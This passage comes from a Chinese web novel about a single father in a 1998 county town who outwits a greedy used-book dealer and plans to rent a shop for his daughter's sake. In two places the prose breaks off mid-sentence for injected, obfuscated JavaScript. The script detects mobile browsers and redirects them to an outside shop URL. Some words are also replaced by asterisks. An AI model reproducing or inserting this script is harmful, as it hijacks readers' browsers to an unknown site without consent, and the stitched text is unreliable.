懂行的人都知道,刘继卣是连环画界的“泰斗”,他画的《鸡毛信》《东郭先生》,笔触细腻,人物鲜活,连海娃衣服上的补丁都透着股灵气。 在收藏圈里是硬通货,尤其是六十年代的版本,更是一价难求——去年省城的旧书市场上,一本品相差不多的,卖了十二块,够普通工人半个月的工资了。 钱老西的眼睛瞬间亮了下,像被火星烫了似的,瞳孔缩了缩——他入行三十年,什么样的老书没见过。 一眼就认出这是1965年版的《鸡毛信》,品相还这么好,至少能卖十块钱,要是遇到喜欢刘继卣的收藏者,卖十五块都有可能。 但他很快压下了眼里的光,假装随意地翻着内页,纸页“哗啦”响,声音却比刚才轻了半分,连手指捏书的力度都放软了—— 他怕捏出印子,影响卖价,心里还在盘算着怎么用最低价把书弄到手。 “这本……马马虎虎吧,刘继卣画的,还有点看头。” 他故意说得漫不经心,烟袋锅子在手里转了圈,指关节都发白了,“这种的,你表叔也要?” 林凡心里有数了——这老狐狸果然识货。 他故意露出懵懂的表情,眨了眨眼,像个刚进城的乡下娃,眼睛里满是好奇: “刘继卣是谁啊?我不懂这个,就觉得画得挺好看,海娃的眼睛画得真精神,跟活的似的。 表叔说,画得好、年代老的都要。 这本是我从乡下一个老教师家里收的,他说这书跟他儿子一般大,快三十年了,我磨了半天,给了他一毛钱呢! 当时还觉得亏了,想着要是给笑笑买糖,能买十块水果糖了。” 他特意把“一毛钱”说得重了点,还带着点“觉得自己花多了”的心疼—— 仿佛那不是一毛钱,是一块钱,是笔大开销。 其实他心里清楚,上个月在省城的旧书市场,有人就卖过本一模一样的《鸡毛信》,品相还没这本好,都卖了十二块; 要是放到十几年后,品相好的能卖上千元,甚至更高——表叔上次打电话时特意跟他说: “老版连环画以后肯定会涨,你多收点好的,留着给笑笑当嫁妆都够,到时候让她风风光光的。” “一毛钱?你呀,还是年轻,没见过世面。” 钱老西摇摇头,嘴角带着点不屑,烟袋锅子在小马扎的铁架上敲了敲,敲出点火星子,火星子落在地上,很快就灭了, “这种书,品相差成这样,也就值个几分钱,你还花一毛钱买,这不冤大头吗? 这样吧,看你也不容易,带着个孩子还跑乡下,风吹日晒的,这本我拿回去试试, 要是有老主顾要,给你两毛钱,怎么样? 你也算赚了一毛,没白跑一趟,还能给孩子买块糖吃。” 两毛钱? 林凡心里冷笑——这老东西真是把他当傻子耍,十块钱的东西,只给两**,算盘打得真响。 可脸上却露出惊喜的神色,眼睛亮得像刚点着的煤油灯,连声音都提高了点,带着点激动: “两**?那我不是赚了一毛?这……这多不好意思啊,让您吃亏了……可是……表叔那边要是问起来,我咋说啊? 他特意嘱咐我,要找‘小孩送信’的书,说这种书少见,让我留着给他……” “哎呀,一本两本的,你表叔哪记得清?” 钱老西不耐烦地摆摆手,打断他的话,伸手就要把书往怀里揣——动作比刚才快了不少,像怕林凡反悔,手指都有点抖,他怀里的衣襟都撩起来了,露出里面的白布汗衫,上面还沾着点烟丝,是刚才填烟时蹭上的。 “就这么定了!我先拿回去看看,卖出去了给你送钱来,亏不了你!你放心,我钱老西做生意,最讲信用!” “等等!钱老板!” 林凡赶紧叫住他,脸上做出挣扎的样子,像个被难题困住的学生,手都有点抖——一半是装的,一半是真的紧张,怕钱老西硬抢。 他腾出一只手,从箱子里翻出几本更破的《地道战》《**战》——《地道战》的封面画着几个战士在地道口张望,右上角撕了个口子,连战士的帽子都没了,只剩下个模糊的轮廓; 《**战》的内页少了两页,是中间讲“造**”的关键部分,边缘还卷得厉害,像被水泡过又晒干的样子,摸起来硬邦邦的。 他把这几本书递过去,语气带着点恳求,还带着点不好意思:“要不……您看看这几本?这几本也有画儿,就是破了点…… 这本《鸡毛信》我还是先给表叔吧,他要是知道我卖了,该说我不守信了,以后不帮我了……您要是不嫌弃,这几本拿回去试试? 卖多少钱都行,我不挑,就当谢谢您来照顾我生意。” 钱老西的脸色顿时沉了下来,像被泼了盆井水,凉得透透的,连眼角的皱纹都绷直了。 他手指捏着《鸡毛信》的力度大了点,纸页都被捏出了印子,像老树皮上的褶,边缘都有点卷了。 他冷冷地看了林凡一眼,眼神里的算计和不满藏都藏不住,像淬了冰的刀子,直扎林凡的眼睛,连声音都冷得像冬天的风: “哼,一本破书,还当宝贝了?真是头发长见识短!给你机会赚钱你都不要,活该你守着这破棚子!” 他把书狠狠扔回箱子里,“啪”的一声,比刚才还响,震得箱子里的其他书都跟着晃了晃,有几本差点掉出来。 “行,你留着孝敬你表叔吧!我看你这生意,也做不出什么大名堂!” 说完,他冷哼一声,推着三轮就往外走。 车轮碾过地面的声音格外响,像在发泄不满,震得棚子的木板都跟着颤,货架上的橡皮盒子都“哗啦”响。 走到棚子门口时,他还回头瞥了眼那个纸箱,眼神里的不甘像只没偷着鸡的狐狸,亮得吓人—— 显然是不甘心就这么空着手走,心里还在琢磨怎么把那本《鸡毛信》弄到手,说不定明天就会让收废品的老张来探口风。 看着钱老西的背影消失在巷口,拐进张记油条铺的方向—— 张师傅正把炸好的油条捞出来,油星子溅得老高,落在铁锅里“滋滋”响,还冒着白烟—— 林凡才长长舒了口气,那口气里带着股子紧绷后的松弛,连肩膀都垮了下来。 后背的汗像刚从水里捞出来似的,衬衫紧紧贴在背上,风一吹,凉丝丝的,像有条小蛇在爬,难受得他想挠,可怀里抱着笑笑,只能忍着,手指还轻轻拍着孩子的背,怕她被刚才的动静吓醒。 他低头看了看怀里的孩子,笑笑已经睡着了,小眉头还皱着,像是在梦里也在怕,嘴角却微微抿着,不知道是不是梦到了她高兴的事了。 刚才那番应对,看似笨拙,实则步步为营—— 既没暴露真正的珍品,又没彻底得罪钱老西这个地头蛇,还坐实了自己 “不懂行、只为亲戚孩子”的人设,算是把这关混过去了 。 王猛在旁边的货架后看得云里雾里,这会儿才凑过来。—— 棚子的东南角漏雨,是因为石棉瓦裂了道缝,王猛从汽修厂拿了块旧橡胶皮,剪成和石棉瓦一样大的形状,用钉子钉在上面,还在边缘涂了点沥青,说“这样至少能管到明年夏天,下雨你就不用搬东西了”。 此刻他手上还沾着点水泥灰,指甲缝里黑乎乎的,是刚才帮林凡加固货架时蹭的,裤腿上还沾着点沥青,硬邦邦的。 “凡子,这老家伙谁啊?叽叽歪歪的,不就一本破书吗?给他呗,两毛钱呢!够买两包‘经济烟’了,还能给笑笑买块水果糖,她不是一直想吃吗?” 林凡摇摇头,把笑笑往怀里抱了抱,轻轻拍着她的背,动作温柔得像怕碰碎了瓷娃娃。 “猛子,没那么简单。这人是西街‘聚宝斋’的钱老西,干旧书行几十年了,什么书值钱他门儿清,是县城出了名的老狐狸。 去年有个姓赵的小贩,不懂行,把一本1958年的《西游记》以两块钱卖给了他,结果他转手就卖了五十块,坑得那小贩蹲在聚宝斋门口哭了半天,钱老西连门都没开。” 他顿了顿,指了指那个纸箱,声音压得低了点,怕吵醒笑笑,“那本《鸡毛信》,现在找对了收藏的人,至少能卖十块,他只给两**,就是想坑我。 要是给他了,他下次肯定还来要,没完没了,甚至会盯着我的货源,到时候咱们连收书的路都被堵**,不能因小失大。 以后见着他,客气点,但咱们收的书,不能随便给他看,尤其是好的,得藏好了。” 王猛似懂非懂地点点头,蹲下去帮着把散在外面的书往箱子里收。 他的动作很轻,手指捏着书脊,小心翼翼的,像怕捏坏了似的——虽然他不懂这些书的价值,但他知道林凡看重,就跟着小心,连掉在地上的纸屑都捡起来,放进箱子里。 “搞不懂你们这些读书人,一本破书还这么多门道,比我修三轮还复杂。” 他嘟囔了一句,声音压得很低,把那本《鸡毛信》重新用报纸包好,放回箱子最底下,还特意往上面压了本《地道战》,怕被人看见,又用旧蓝布把箱子盖好,布角都捋得平平整整的。 钱老西的试探暂时过去了,可林凡知道,这只是开始。 他大量收连环画的事,已经像风似的吹进了县城的旧书行,除了钱老西,肯定还有其他行家在盯着他—— 比如北街开“文轩阁”的老陈,那人比钱老西还精,据说连书的版权页都能背下来,哪年哪月印刷的,印了多少本,都门儿清; 还有南街的“旧书摊”老李,平时看着和气,其实也爱抢生意。 以后怕是少不了这样的“试探”,甚至可能有更狠的角色找上门—— 比如那些靠强买强卖为生的混混,或者其他想垄断货源的书商。 而更让他揪心的,是黑皮的威胁。 李干事的警告只能管一时,那伙人闲得没事干,迟早还会来闹,总不能每次都靠运气等李干事路过。 上次黑皮拍货架 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607483|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候,笑笑吓得直哭,抱着他的脖子喊 “爸爸,我怕,我们回家吧”, 现在想起来,林凡的心还像被揪着似的疼——他这个当爹的,连保护孩子都做不到,算什么父亲? 那天晚上,笑笑还做了噩梦,哭着喊“坏人别过来”,他抱着孩子哄了半宿,才让她睡着。 笑笑生病的事更是敲了警钟:他必须尽快给孩子一个更安全、更稳定的环境,不能再让她跟着自己在这破棚子里担惊受怕。 这棚子夏天漏雨,去年雨季时,雨水都漫到了脚脖子,他抱着笑笑蹲在货架上待了半宿,孩子的鞋子都泡湿了,第二天就感冒了; 冬天漏风,笑笑的小手冻得通红,连笔都握不住,上次想写“爸爸”两个字,结果笔掉在地上,她哭着说 “手不听使唤,爸爸我是不是很笨”; 孩子生病,只能挤在急诊室的硬板凳上,连个坐的地方都没有,看着别的孩子有爸爸妈妈陪着,还有暖水袋,笑笑却只能裹着他的旧外套—— 他这个当爹的,太不称职了,连给孩子一个安稳的家都做不到。 晚上,哄睡笑笑后,林凡坐在灯下。 桌上的台灯是他从废品站淘的,塑料外壳都发黄了,灯泡只有25瓦,昏黄的光只能照亮半张桌子,连桌角的灰尘都看不清楚。 存折摊开在桌上,四万七千六百三十五块的数字在灯光下泛着光。这是他翻身的钱,每一分都带着汗味,甚至还有眼泪的味道。 这钱像颗定心丸,让他心里有点底,可也像块烫手的山芋—— 怎么用,才能既保住现在的生计,又给笑笑一个安稳的未来,他得想清楚,一步都不能错。 他手指轻轻拂过存折的纸面,指尖触到银行盖章的红印,那红印有点硬,蹭在指尖上,像孩子软软的指甲。 心里慢慢有了主意——小打小闹的杂货摊、偷偷摸摸的连环画收藏,积累速度还是太慢,而且护不住笑笑。 是时候动用一部分钱,做更有战略性的投资了。 租个正经的门面房? 他早就打听好了,机械厂家属区的主街就有个空门面。 那主街长两百多米,铺着水泥地,比巷子里的土路好走多了;街东头是菜市场,早上五点就有人摆摊,卖菜的、卖肉的,热闹得很; 街西头是机械厂的大门,工人上下班都要从街上过——机械厂有上千个工人,大多是双职工,每个月工资稳定,家里都有孩子,消费力强,不像巷子里,大多是租房子的,手头紧。 街上现在有两家小卖部,一家只卖日用品,肥皂、洗衣粉什么的,一家只卖零食,都没卖童装和动画片光盘—— 现在《葫芦娃》《黑猫警长》正火,孩子们都吵着要,县城里还没人卖正版的,都是些盗版的,画面模糊;童装也缺,现在家长都愿意给孩子买质量好的,不像棚子里卖的地摊货,洗两次就变形,领口还会缩。 那个门面有二十平米,比现在的棚子大两倍,还带个小仓库,能放货; 房东是机械厂的老工人,姓刘,头发都白了,为人实在,上次林凡去打听,他还笑着说 “我看你是个老实人,带着孩子不容易,租金给你便宜点”, 租金要一百五一个月,还能月付,不用一次性的缴押金——这对林凡来说太重要了,他手里的钱不能一下子花太多,得留着应急,万一笑笑再生病,还得花钱。 要是租了门面,就能把“笑笑宝贝屋”的招牌挂起来,用红漆写,再装个小灯箱,晚上亮起来,多显眼;正规经营,还能去工商局办个营业执照,社会身份也硬气—— 黑皮那样的人,欺负个棚子里的小贩容易,可欺负有正经门面的商户,就得掂量掂量,毕竟门面房都在工商局登记过,真闹大了,警察也会管,不像现在,出了事都没人愿意帮忙。 还是……再找找其他的机会? 比如市里的小商品批发市场。他听汽修厂的王师傅说过,市里的“东风小商品批发市场”有很多批发商,都是从南方进货,价格便宜; 要是能找个靠谱的,跟人家长期合作,就能拿到更低的进货价。 比如现在卖的咪咪虾条,从县城批发商那里拿是五毛钱一包,市里可能只要四**,这样一包就能多赚一毛,一个月卖两百包,就能多赚二十块,够给笑笑买两本新绘本了; 还有糖果、橡皮这些小零食,差价也不小,积少成多,也是一笔收入,还能把杂货摊的生意做大点,多进点孩子们喜欢的东西,比如卡通贴纸、小玩具,吸引更多人来买。 或者,趁着现在连环画还便宜,再去周边的乡镇多收点? 在自己的记忆中:“老版连环画的收藏行情正在慢慢涨,尤其是五十年代、六十年代的版本,现在没人当回事, 再过十年八年,肯定会升值,到时候翻十倍都有可能。”他记得前世见过表叔带来的一本1955年版的《大闹天宫》,品相完好,还是彩色的,表叔说“现在能卖五十,再过十年,至少能卖五百,说不定还能卖一千”。 要是现在多收点好货,比如《三打白骨精》《鸡毛信》这样的,好好存着,再过几年,一本就能卖上千块,足够给笑笑在县城买套小房子,一楼带个小院子,让她能在院子里玩,不用再挤在漏雨的筒子楼里,冬天也不用冻手了。 窗外的夜风卷着沙尘,吹得窗棂“呜呜”响,像个受了委屈的孩子在哭,还带着点哨音。 风里还带着隔壁包子铺剩下的面香味——张师傅家的包子是县城出了名的,猪肉大葱馅的,每天早上都排队,晚上收摊时,面香味还能飘到巷子里—— 混着巷尾垃圾桶的酸臭味,怪怪的,却透着股真实的烟火气。 林凡把存折合上,手指捏得发白,纸页都被捏出了印子,边缘都有点卷了—— 他知道,下一步棋至关重要,一步错,可能连这破棚子都保不住,更别说给笑笑一个安稳的家。 他得在这场风雨真正砸下来之前, 为自己和笑笑筑起一座足够坚固的堡垒。 而这座堡垒的砖, 就藏在这本薄薄的存折里,藏在他对未来的判断里, 藏在他作为父亲的责任里—— 只要能让笑笑过得好,再苦再累,他都愿意。 灯光下,他的影子映在墙上,像棵挺拔的树, 稳稳地立着,再也没有了白天的疲惫—— 为了笑笑,他必须站直了,不能倒,也不会倒。 第十八章:破局之思 钱老西临走时那道眼神,像根淬了油的细刺,扎在林凡心里拔不掉—— 前几天这老东西还堵在棚子门口,枯瘦的手指摩挲着袖口磨白的布扣,声音尖细得像刮铁皮: “摆摊也得交管理费,这是规矩。” 伸手就从林凡刚赚的零钱里抽走了三十块。当时笑笑正抱着块草莓味橡皮蹲在旁边,小身子一缩,吓得把脸埋进林凡洗得发皱的蓝衬衫里,指尖还紧紧攥着橡皮的一角,生怕被人抢走。 旁边卖袜子的刘婶偷偷拽了拽林凡的衣角,嘴型比着“别犟”——上个月街口有个卖糖葫芦的摊主拒交“管理费”,转天棚子就被泼了半桶泔水,串好的糖葫芦全裹了馊味,最后只能推着车哭着走了。 后半夜林凡醒过来,窗外的月光漏进棚子,照得地上的水泥缝都清晰可见。 笑笑蜷在他怀里,小脸蛋蹭着他衬衫的衣角,鼻息间还带着傍晚喝的橘子水的甜香,睫毛在眼下投出浅浅的阴影。 他又想起钱老西那道目光:像暗夜里盯粮囤的老鼠,绿莹莹的光裹着贪劲,直勾勾地盯着他床底藏连环画的木箱—— 去年钱老西就曾趁他去市里进货,偷偷翻过那箱子,还捏着本缺页的《大闹天宫》嗤笑:“这破烂也值当藏?” 当时林凡回来发现木箱被动过,气得攥紧了拳头,却只能把火压在心里——他没靠山,惹不起钱老西这种“地头蛇”。 倒是笑笑病愈后平稳的呼吸,像浸了温水的棉巾,轻轻擦去他眉头上的焦气,却也让他更清醒:这破棚子就是片漏雨的屋檐,连挡风都费劲。 黑皮上周踹门的闷响还在耳边转——那天傍晚他正给笑笑煮挂面,清水刚烧开,面条刚下进去,黑皮就带着两个跟班撞了进来。 木板门“哐当”一声撞在墙上,震得棚顶的灰都掉下来,锅里的面条洒了半锅,溅在地上烫出一个个小白点。 笑笑攥着小筷子的手都在抖,眼泪在眼眶里打转,却不敢哭出声。 黑皮却指着货架上的塑料玩具,吊儿郎当地说: “借五十块花花,下周还你。” 林凡知道这“借”就是肉包子打狗,可他看着黑皮攥着拳头的样子,只能从床板下摸出仅有的四十块,黑皮嫌少,又从货架上抓了个玩偶才走。 钱老西的试探更像慢刀子割肉,今天要“管理费”,明天说“卫生费”,后天又编个“治安费”的由头,每次十块二十块,积少成多也不是小数目。 这些不过是先头雨,要是再缩着不挪窝,迟早要被这些麻烦淹了——他见过有摊主被这些人缠得没法,最后只能收拾东西回老家,连本钱都没赚回来。 月光从筒子楼的破窗棂漏进来,碎成一地银渣,落在桌上的硬壳笔记本上。 这本子是他去年在废品站淘的,封面还印着“国营百货公司”的旧标,边角磨得发毛,他用透明胶带粘了好几次。 林凡轻轻摸着笑笑温热的额头,指尖蹭过她柔软的胎发,生怕吵醒她,轻手轻脚地起身坐在煤油灯旁。 灯芯“噼啪”炸了个小火星,把他的影子拉得老长,投在斑驳的墙上,像个晃荡的剪影。 翻开笔记本,前几页记满了进货清单,字迹挤得满满当当,连页边空白处都写满了备注: “AD钙奶20板(每板4.5元,共90元,批发商老李说下月可能涨5**,得提前囤),橡皮50块(每块0.3元,共15元,其中草莓味20块、橘子味15块、薄荷味15块,上次草莓味卖得最快,下次多进10块)”; 还有连环画的版本标注,一笔一画都透着仔细: “1962《三打白骨精》缺封底(收于东街老李头,5元,老李说这版存世少,以后可能值钱),1973《哪吒闹海》全页(收于废品站,2元,封面有点潮,已经晒过了),1978《葫芦兄弟》(收于赶集时的老农,3元,内页完整,就是边角有点卷)”。 翻到最后一页,是“长远愿景”四个歪歪扭扭的字,下面画了个小房子,房檐上翘着两个小角,房子旁添了个圆滚滚的小太阳,铅笔印子都快磨平了—— 他没事就会摸一摸这画,连纸都被摸得发毛。旁边注着一行小字: “给笑笑一个不漏雨的家——1997.10.5,笑笑满周岁”。 那天他特意给笑笑买了个鸡蛋,煮得嫩嫩的,剥了壳喂给她,笑笑吃得满脸都是,还伸手抓他的脸,笑得咯咯响。 他指尖反复划过那行日期,又摸出压在本子下的存折——深蓝色的封皮磨出了毛边,是县农业银行的老款存折,第一页还贴着他泛黄的身份证复印件,照片上的他比现在瘦,眼神却一样亮。 翻开一看,四万七千二百元的数字在昏黄灯光下泛着光,末尾的“2”字被水浸过,边缘有点模糊——那是上次下雨棚子漏雨,他慌忙把存折往怀里塞,还是沾了点雨水。 指尖能触到印钞时的细微纹路,像捧着块烫手又舍不得放下的暖玉。 这钱来得太不容易:有他在街角摆三个月地摊攒的一千二,每天早上五点就出摊,晚上十点才收,冬天冻得手都握不住零钱,夏天晒得脱皮; 有卖祖传的半块玉佩得的三千,那玉佩是他妈留给他的,上面刻着朵莲花,他犹豫了半个月,最后还是咬着牙卖给了县城的古玩店; 更多的是这两年省吃俭用抠出来的——每天早饭就啃半个凉馒头,中午在批发市场啃自带的咸菜饼,连五毛钱一碗的豆腐脑都舍不得买; 笑笑的衣服都是捡邻居家孩子穿小的,洗得发白了还补着补丁,唯一一件新的是去年过年买的小红袄,到现在还叠在箱子底,舍不得穿。 这钱既压着他想把生意做大的野心,也托着笑笑冬天能穿暖、夏天不淋雨的希望。 这钱在1998年的县城,够买半间小瓦房——上个月西街王大爷卖了间15平的老瓦房,总价九万二,四万七刚好够一半; 可放在银行里,年利率才2.75%,算下来一年利息还不到一千三百块。更别说物价还在涨,去年冬天买一斤白菜要8分钱,今年就涨到1**1,涨了近四成; 笑笑爱喝的橘子水,去年一瓶2**,今年也涨到2**5。钱要是一直放着,只会跟着物价慢慢缩水,像晒在太阳下的水,不知不觉就少了。 他得让钱“活”起来,变成能遮风挡雨的门面,变成笑笑不用再听着漏雨声睡觉的底气。 租个正经门面房的念头,像春天里拱破冻土的芽,之前也冒出来过几次,可都因为怕风险缩了回去,这次冒出来时,根须都扎得扎实—— 比上次光想想,多了几分破釜沉舟的劲。他把笔记本摊开,笔尖在纸上轻轻划着,把好处一条条理出来,字里行间都裹着盼头: 一、安全得靠实墙撑 有正式合同的门面,可比棚子硬气多了。 上次黑皮踹棚子的闷响还在耳边转,木板晃得笑笑直哭,他当时攥着榔头却不敢动——怕闹大了连棚子都保不住,到时候连摆摊的地方都没有。 可要是有了门面,工商执照贴在墙上,红章亮堂堂的,再挂个“个体工商户”的铜牌,黑皮再敢胡来,就得掂量掂量派出所的传唤单。 上个月邻街开杂货店的老吴,就因为有人砸店报了警,警察来了直接把人带走,罚了两百块,还让对方赔了店里的损失。 老吴后来跟他说:“有了正经执照,腰杆都能挺直了,不像摆摊时,见了谁都得陪着笑。” 而且门面还能装部座机,线一拉,有事拨个号就能找街道李干事,不用像现在这样,只能攥着榔头在棚子里等,连个能求助的人都没有。 上次棚子漏雨漏得厉害,他想找街道帮忙修,可连个电话都没有,只能冒雨跑去找李干事,等找到人时,浑身都湿透了。 二、生意能往大里做 二十来平的地方,比棚子宽绰三倍—— 现在的棚子才6平,货架只能摆一排,孩子多了连转身的地方都没有,有次两个孩子抢玩具,还把货架撞倒了,摔碎了好几个塑料玩偶。新门面的货架能摆三排,除了玩具、橡皮,还能进儿童衣裳。 他早就打听好了,要选新疆长绒棉的衣裳,摸着软乎乎的,吸水性还好,孩子出汗了也不粘身子,比化纤的舒服。 上次在市里进货时,批发商说这种衣裳上个月卖了两百多件,比其他材质的多卖一倍。 衣裳上要印“熊猫盼盼”的图案,去年亚运会后,“熊猫盼盼”特别受欢迎,上次有个妈妈就问他有没有印盼盼的衣裳,说孩子吵着要。这种衣裳一件能卖15块,比化纤的贵5块,但家长都愿意为孩子花这个钱。 再进两排小鞋子, 鞋底是软橡胶的,鞋头缝着防撞的布,孩子穿着不硌脚,一双卖8块,比棚子里的塑料凉鞋耐穿多了——现在卖的塑料凉鞋,有的穿半个月就断底了,家长虽然不说,但下次就不来了。 甚至能在角落隔个小间,摆个煤炉煮橘子水,加两勺冰糖,熬得稠稠的,一杯卖5毛钱; 再进点县食品厂做的鸡蛋糕,一块钱两个,蓬松又香甜。 家长带着孩子来,能坐下来歇会儿,比站在棚子外吹风舒服,自然愿意多花钱。 上次有个妈妈带孩子来买橡皮,孩子闹着要喝水,她只能抱着孩子去远处的水龙头接,回来时孩子都哭了。要是当时有橘子水,说不定她还能多买个玩具,甚至再买块鸡蛋糕。 三、日子得让孩子舒坦 要是门面带个小阁楼,就能带着笑笑搬出这筒子楼了。 这楼漏雨时,接水的搪瓷缸子总在半夜“嗒、嗒、嗒”响,漏雨的地方就在床头上方,有时候雨水溅到枕头上,笑笑的小被子边缘都潮了。 她缩在他怀里说“爸爸,冷”的声音,像根针总扎他心口。墙皮掉渣能埋住鞋跟,扫完第二天又掉一层,笑笑的小袜子上总沾着白灰,每天晚上洗脚,盆里都能沉下一层灰。 换个亮堂地方,窗户大,阳光能照进屋里,笑笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607484|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能在地上铺张纸画画,不用总缩在角落里。 上次她想画太阳,铅笔刚拿出来,墙皮就掉在纸上,把画都弄脏了。 笑笑当时小嘴一撇,眼泪在眼眶里打转,却没哭,只是把脏了的画纸折成小方块,塞在口袋里,晚上偷偷拿出来看,还跟林凡说“爸爸,等咱们有新家,我要画好多好多太阳”。 四、腰杆得凭着底气直 从“摆摊的”变成“开店的”,旁人看他的眼神都不一样。 上次去市里进货,批发商老李看他拎着个破布包,连好货都不愿拿出来,只把压箱底的旧玩具给他,说“你这摆摊的,卖贵了没人要”。 要是有了店,他能提着印着“笑笑宝贝屋”的帆布袋子去,批发商说不定能给个批发价—— 比如AD钙奶,现在拿价4.5元一板,有店的话能降到4.2元,一箱20板就能省6块,一个月进10箱就能省60块,一年就是720块,够给笑笑买好几件新衣裳了。 跟工商、税务打交道,也不用再缩着脖子。 上次工商来查棚子,他递烟都没人接,人家只是皱着眉说“下次赶紧办手续”; 可人家看他是“正经商户”,说话都能多几分客气。上个月老吴去办营业执照,工商的人还跟他聊了会儿进货的事,说“最近儿童用品好卖,你可以多进点”,还提醒他注意保质期。 可笔尖顿在纸上,风险也像影子似的跟过来,甩都甩不掉。 五千块拿出去,像从心窝子里剜肉——这是他和笑笑攒了小半年的底气,一分一厘都浸着汗。 租金一年一千一,押金三百,装修要一千五(刷墙买石灰、腻子得两百,石灰得选县建材厂的,一袋五块,两袋就够,腻子一袋八块,一袋能补不少缝; 找木匠打货架要八百,张师傅上次修棚子的货架,收费便宜,一天五十,打三排货架最多两天; 铺水泥地面得五百,水泥一袋八块,最少要六袋,还得买沙子,一方沙子二十块),首批进货要两千一,加起来正好五千,流动资金一下就薄了,只剩床板下铁盒里的八百六十三块,还是他平时省下来应急的。 店开起来,目标也大了,税务的人会常来查账——1998年个体户每月交二十块定额税,要是营业额超了五千,还得按3%补税。 他算了算,要是每月卖五千块,就得交一百五十块税,比棚子的摊位费多了十多倍。 卫生的也会来瞅一眼,要是没挂健康证、地面有灰,一次就罚五十,上次老吴就因为地面没扫干净,被罚了二十块。 黑皮、钱老西说不定会更盯紧,觉得他“赚了钱”。 之前每月要五十“管理费”,现在说不定要一百,甚至更多。要是不给,他们说不定会来店里捣乱,比如把货架推倒,或者吓跑顾客—— 上次有个摊主开了店,地痞就天天来“串门”,最后没办法,只能每月交“保护费”。 万一生意不好,租金、水电(每月电费十五,水费八块)像无底洞,比棚子亏得快多了。 棚子每月就交十块摊位费,亏了最多把货清了,损失也不大;可店要是亏了,不仅租金得赔进去,装修的钱、进货的钱也都打了水漂,到时候连给笑笑买吃的钱都可能没有。 林凡盯着纸上的“安全”“孩子”两个词,指尖把纸都捏出了褶,纸边都快被指甲抠破了。 这时,里屋传来笑笑的梦话,“爸爸,要糖”的小奶音飘进耳朵里,软乎乎的—— 昨天她看见隔壁小孩吃水果糖,橘色的糖纸闪着光,眼馋了半天,一直盯着人家的手,却没跟林凡要。 林凡问她想不想吃,她摇了摇头说“爸爸赚钱辛苦,不吃”,他没舍得买,只答应她“等爸爸赚钱了给你买一大罐,各种口味的都有”。 他突然就下了决心——不能因为怕摔,就不敢学走路。 他比别人多着十几年的见识,知道以后家长对孩子的花销会越来越大方。 去年县城新生儿比前年多了两百多个,县医院的妇产科都加了床,儿童用品肯定会越来越吃香。 要是连开个小店都畏首畏尾,怎么给笑笑攒下未来? 怎么让她不用再受委屈? 他拿起铅笔,在笔记本上重重写下两个字,墨都透了纸背:干了! 第二天一早,天刚蒙蒙亮,东边的天空才泛出点鱼肚白,远处的鸡刚叫第一声,林凡就叫醒了王猛。 王猛住在棚子后面的小隔间里,铺着稻草和旧棉絮,被子是林凡穿过的旧外套改的,又薄又硬。 听见动静,王猛揉着眼睛坐起来,头发乱得像鸡窝,眼角还挂着眼屎,嘴里嘟囔着 “凡子,这么早干啥”。 “猛子,今天你多盯会儿棚子,我带笑笑出去转转,看看有没有合适的地方。” 林凡递给他一个热馒头—— 是昨天张婶给的,张婶儿子在外地打工, 平时总接济他们,这个馒头他没舍得吃,用布包着揣在怀里,还带着点温度。 第十九章 计划门面 王猛正蹲在地上擦玻璃柜,柜面上还沾着昨天孩子留下的糖渍,黏糊糊的。 闻言直起腰,拍着胸脯应下: “放心!有我在,别说丢东西,黑皮来了我都能拦着! 上次他想抢你那本《三打白骨精》,不是我跟他掰扯半天吗?” 说着还攥了攥拳头,胳膊上的肌肉鼓了鼓—— 王猛以前在工地上干过,力气大,黑皮上次看他横,没敢硬来。 林凡抱着笑笑出门时, 她还没睡醒,小脑袋靠在他肩膀上,小胳膊搂着他的脖子, 呼吸均匀得像小鸽子,温热的气息吹在他脖子上,痒痒的。 两人慢悠悠逛着县城的街,街上刚有早点摊出摊, 炸油条的“滋滋”声混着油条的香味飘得老远,还有卖豆浆的推着小车, 吆喝着“热豆浆——五毛钱一碗”。 林凡假装带孩子看风景,眼睛却像扫描仪,扫过每一条街道,连角落里的小门面都没放过。 市中心他绕着走—— 那里的门面租金一年要两千多,还挤得慌,旁边都是卖家电、服装的大店,装修得亮堂堂的,他这小生意进去,根本没人注意,说不定还会被大店挤垮。 太偏的巷也不看——比如北巷,下午三点就没太阳,街上连个孩子的影子都没有,大多是卖五金、建材的店,做儿童生意肯定不行; 南巷虽然人多,但都是卖菜的,又吵又脏,家长肯定不愿意带孩子去。 转到县中心小学附近时,风里突然飘来孩子的笑声,还有放学铃“叮铃铃”的响—— 原来正好是小学早自习下课,低年级的孩子出来活动。 他抬头一看,这条街不算宽,也就两米来宽,却围着三个家属院: 县教育局家属院有120户,县医院家属院150户,县纺织厂家属院200户,光这三个院的适龄孩子就有七八十个,加上小学里1-3年级的学生,潜在顾客至少有两百多人。 墙上刷着“好好学习,天天向上”的标语,红漆掉了些,却还醒目。 放学铃刚响,穿蓝校服的孩子像小麻雀似的涌出来,家长拎着菜篮子跟在后面,偶尔停下来买根冰棍(五毛钱一根,奶油味的最受欢迎,上次他看一个孩子买了,舔得满脸都是),烟火气裹着风往鼻子里钻。 街上有文具店(只卖作业本和钢笔,没有玩具和儿童衣裳)、小吃铺(卖包子和粥,早上人多,中午就冷清了)、理发店(只给大人理发,不给孩子剪), 